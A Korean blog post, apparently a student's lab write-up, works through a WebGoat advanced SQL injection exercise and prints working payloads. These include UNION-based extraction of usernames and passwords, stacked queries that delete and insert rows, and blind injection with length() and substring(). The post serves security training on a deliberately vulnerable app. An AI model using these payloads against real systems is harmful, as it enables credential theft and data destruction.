WebGoat

WebGoat (4)

홍시뗄레 2025. 3. 17. 15:04

[실습2-10] SQL Injection(advanced) -1 

다른 테이블의 데이터를 가져오는 것이 목표. 

첫번째 Name 칸에서는 user_data에서 불러오는 것이다. 

목표는 두번째 테이블인 user_system_data를 불러오는 것. 

일단 모든 데이터를 가져오고, Dave의 패스워드를 알아맞추는 문제이다. 

 

우선 name이 취약한지 판단해보아야 한다. 

우선 ' or 1=1--를 넣어보고 확인해보자.

이렇게 모든 사용자들이 나온다. 

SELECT * FROM user_data WHERE last_name = '' or 1=1--'

이렇게 쿼리가 입력된 것이다. 

 

이 외에, Snow를 검색하고 싶을 때 

Sno'||'w

Sno' 'w

Sno'+'w

이렇게 해도 연결된다. 

MySQL에서 공백(의미없는 문자)를 연결해서 붙여준다. 

MSSQL: +

ORACLE: || 

 

다 실행해보면 전부 다 된다. 

 

방법 1) UNION-BASED SQL Injection 공격

UNION 전제 조건

1) 컬럼 개수

2) 자료형 (데이터 타입) 일치 => MYSQL에서는 자료형이 달라도 상관 없다. 

select column1, column2 from table1

union

select column1, column2 from table2

컬럼 개수가 일치해도 자료형이 다르면 error 발생. 

 

Step 1) Order by를 통해 컬럼 개수 파악

select * from table order by 1 asc/desc

order by 뒤에 있는 숫자를 하나씩 늘려가며 column 개수가 몇 개인지 파악한다. 

Step 2) UNION 구문 실행 확인

Step 3) 출력 포지션 파악

이렇게 7개. 사실은 위에 컬럼 개수가 명시되어 있기 때문에 7까지인 걸 굳이 확인하지 않고도 알아낼 수 있다. 8을 넣으면 error가 발생한다. 

 

다음에는 

' or 1=1 union select null,null,null,null,null,null,null from user_system_data -- 

참고로 ORACLE은 더미 테이블이 필요하고, MYSQL, MSSQL은 더미 테이블이 필요하지 않다.

select 1+1 from dual; 이런게 필요하다. 

이렇게 출력이 된다. 위에 null이 써져있는 게 보인다. 

강제적으로 거짓을 만들어보자. 우리가 입력한 것만 보이도록. 

' or 1=2 union select null,null,null,null,null,null,null from user_system_data -- 

이렇게 1=2로 바꾸면 

이렇게 나온다. 

자료형도 알아내야 한다. 

위에 user_system_data를 보면 user_name과 password에 varchar가 있기 때문에 이것만 맞춰준다. 

' or 1=2 union select null,user_name,password,null,null,null,null from user_system_data -- 

그럼 이렇게 dave의 패스워드가 passW0rD인 것을 알아내었다. 

 

다음으로는, 스택 쿼리로 풀어보자. 

조회: ' or 1=2 union select userid,user_name,password,null,null,null,null from user_system_data -- 

이렇게 넣으면 dave가 105번인 걸 일단 확인하고

 

삭제: ';delete from user_system_data where userid=105 --

이렇게 하면 105번 레코드가 삭제된다.

잘 지워졌는지 확인하려면 아까 조회때 쓴 쿼리문을 작성해주면 된다.

이렇게 105번이 사라졌다. 

 

삽입: ';insert into user_system_data values(105,'dave','dave','')--

패스워드는 그냥 dave로 하고 쿠키값은 빈값. 

이렇게 삽입 구문을 입력하고 다시 조회 구문으로 잘 삽입되었는지 확인해본다.

이렇게 105번에 내가 입력한대로 입력되었다. 

 

 

세번째 방법으로는 Blind-Based

' or length((select password from user_system_data where user_name='dave'))>0--

우리가 패스워드로 dave를 입력했고, 이 길이는 4이므로 0보다 크다는 조건은 참이다. 그러면 이걸 입력했을 때 결과가 나올 것이다. (거짓인 경우엔 결과가 나오지 않는다.)

0보다 크냐고 물어봤을 땐 이렇게 나오고

5보다 크냐고 물었을 때는 이렇게 결과가 나오지 않는다. 

 

' or substring((select password from user_system_data where user_name='dave'),1,1)='a'--

이렇게 입력한다는 건 첫번째 데이터, 패스워드의 첫 글자가 a냐고 물어보는 것이다. 당연히 거짓이 나올 것이다. d를 넣어야 참이 나올 것이다. 

다음 값은 가운데에 있는 1을 2로 바꿔주는 식으로 올려가며 비밀번호를 찾아내면 된다. 

이렇게 하나씩 유추하는 게 blind-based injection이다. 

MSSQL: substring()

ORACLE: substr()

'WebGoat' 카테고리의 다른 글

WebGoat (6)  (0) 2025.03.18
WebGoat (5)  (0) 2025.03.17
WebGoat (3)  (0) 2025.03.12
WebGoat (2)  (0) 2025.03.10
WebGoat(1)  (0) 2025.03.10